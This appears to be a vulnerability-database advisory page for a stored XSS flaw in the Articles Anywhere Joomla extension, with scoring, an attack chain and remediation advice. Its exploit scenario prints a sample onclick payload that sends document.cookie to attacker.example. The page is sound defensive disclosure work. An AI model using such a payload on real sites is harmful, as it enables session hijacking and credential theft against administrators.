Skip to main content

Articles Anywhere CVE-2026-85195

| EUVDEUVD-2026-77310 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-09-14 Joomla GHSA-jvv6-hc62-cm99
7.5
CVSS 4.0 · Vendor: Joomla
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain Joomla Author credentials
  2. Delivery
    Craft article with malicious onclick/onmouseover link option in Articles Anywhere syntax
  3. Exploit
    Article bypasses Joomla content filter (inert syntax stage)
  4. Install
    Extension renders event handler as live HTML attribute
  5. C2
    Privileged victim loads article page
  6. Execute
    JavaScript executes in victim browser
  7. Impact
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three concrete prerequisites must be met: (1) the Articles Anywhere Free or Pro extension must be installed and enabled on the Joomla site; (2) the attacker must hold at minimum a Joomla Author account, granting the ability to create or edit articles; (3) a victim with a meaningful browser session - typically an Editor, Publisher, or Administrator - must load a page rendering the attacker-controlled article with Articles Anywhere active. Exploitation is limited to authenticated attackers (no unauthenticated path exists); the required Author role is generally the lowest content-contributor role in Joomla, which limits but does not eliminate the attacker population. Sites that do not grant Author or higher accounts to untrusted users are not directly at risk.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:H/UI:N - score 7.5) warrants scrutiny on two metrics. PR:H (High privilege) appears overstated: the description explicitly names the 'article author trust level' as the relevant control boundary, and Joomla's Author role is a low-privilege content-contributor role, not an administrator. AT:P (attack requirements present) correctly captures the prerequisite that the extension must be installed. The impact metrics VC:H/VI:H reflect potential session hijack and content manipulation against victims such as site administrators who view compromised articles, which is realistic for stored XSS. No CISA KEV listing and no public POC have been identified, keeping the realistic exploitation probability lower than the impact metrics alone suggest. The primary elevated risk factor is the architectural filter bypass, which is not addressable by Joomla permission hardening alone.

Exploit ScenarioDerived

An authenticated Joomla Author crafts an article body using Articles Anywhere plugin syntax and embeds a link option such as onclick="document.location='https://attacker.example/steal?c='+document.cookie". Because Joomla's content filter sees inert plugin syntax rather than HTML, the payload passes. When a site administrator subsequently previews or publishes the article, Articles Anywhere renders the event handler as a live HTML attribute and the JavaScript executes in the administrator's browser, enabling session token theft. No public exploit code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 14, 2026

Stored XSS in regularlabs.com's Articles Anywhere Joomla extension (versions prior to 20.0.0) lets authenticated article authors inject arbitrary JavaScript via link event handler options (onclick, onmouseover) in plugin syntax tags. The injected payload bypasses Joomla's built-in Author content filter because Articles Anywhere renders the event handler attributes into live HTML after the CMS filter has already processed the content. No public exploit has been identified at time of analysis, but the filter-bypass is architectural and cannot be mitigated without patching.

RemediationAI

Upgrade Articles Anywhere to version 20.0.0 or later, which enforces author trust-level checking before rendering link options as HTML event attributes; the vendor advisory is at https://www.regularlabs.com/. As a compensating control prior to patching, restrict Articles Anywhere plugin-tag processing to Editor, Publisher, or Administrator roles only via Joomla's component permission settings, preventing Author-role users from submitting content that the extension will parse - note this breaks article-embedding workflows for Authors and must be weighed against site publishing requirements. Alternatively, disabling the Articles Anywhere plugin entirely eliminates the attack surface but removes all extension functionality site-wide.

Affected VersionsENISA

Articles Anywhere (Free, Pro) extension for Joomla 14.0.0-19.0.6

Affected Packages

euvd articles_anywhere_free_pro_extension_for_joomla no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Articles Anywhere (CPE: cpe:2.3:a:regularlabs.com:articles_anywhere_(free,_pro)_extension_for_joomla:*:*:*:*:*:*:*:*) is a regularlabs.com extension that embeds Joomla article content via custom plugin tags. The extension parses link options from those tags and outputs them directly as HTML attributes. The root cause (CWE-79, stored Cross-site Scripting) arises because the extension does not validate the article author's trust level before emitting event-handler attributes such as onclick and onmouseover, and because the transformation from plugin syntax to executable HTML occurs downstream of Joomla's core content sanitiser - the sanitiser sees inert plugin syntax and passes it; Articles Anywhere then converts it to live attribute code.

Know when Articles Anywhere Free Pro Extension For Joomla gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Joomla) PRIMARY 7.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/S:N/AU:N
vuln.today AI 5.4 MEDIUM

Author-level CMS access (PR:L) required; victim must view the article (UI:R, S:C) as is standard for stored XSS with browser-context impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Joomla).

CVSS VectorVendor: Joomla

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Joomla Extension - regularlabs.com - Privileged stored XSS via link option in Articles Anywhere extension for Joomla < 20.0.0 - Articles Anywhere accepts link options such as onclick and onmouseover. In affected versions, those options become real HTML event attributes without checking the article author's trust level. The plugin syntax survives Joomla's normal Author content filter because the executable HTML is generated later.

Executive ViewAI

Why It Matters

The Articles Anywhere Joomla extension (versions before 20.0.0) contains a stored cross-site scripting vulnerability that allows authenticated article authors to inject malicious JavaScript into published content, bypassing Joomla's content filter. This compromises website integrity and reader safety, creating risk of credential theft, session hijacking, or malware distribution to all site visitors. Organizations using this extension face immediate and persistent content manipulation risk as long as the vulnerability remains unpatched.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict article author privileges to essential personnel only and require approval workflow; implement Web Application Firewall rules blocking event handler attributes in article content; conduct forensic review of published articles for suspicious code; disable article preview features; enforce Content Security Policy headers to block inline script execution; monitor access logs and browser security logs for XSS execution patterns; establish content audit trail with version history enabled.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
third-party extension for Joomla CMS, niche deployment footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy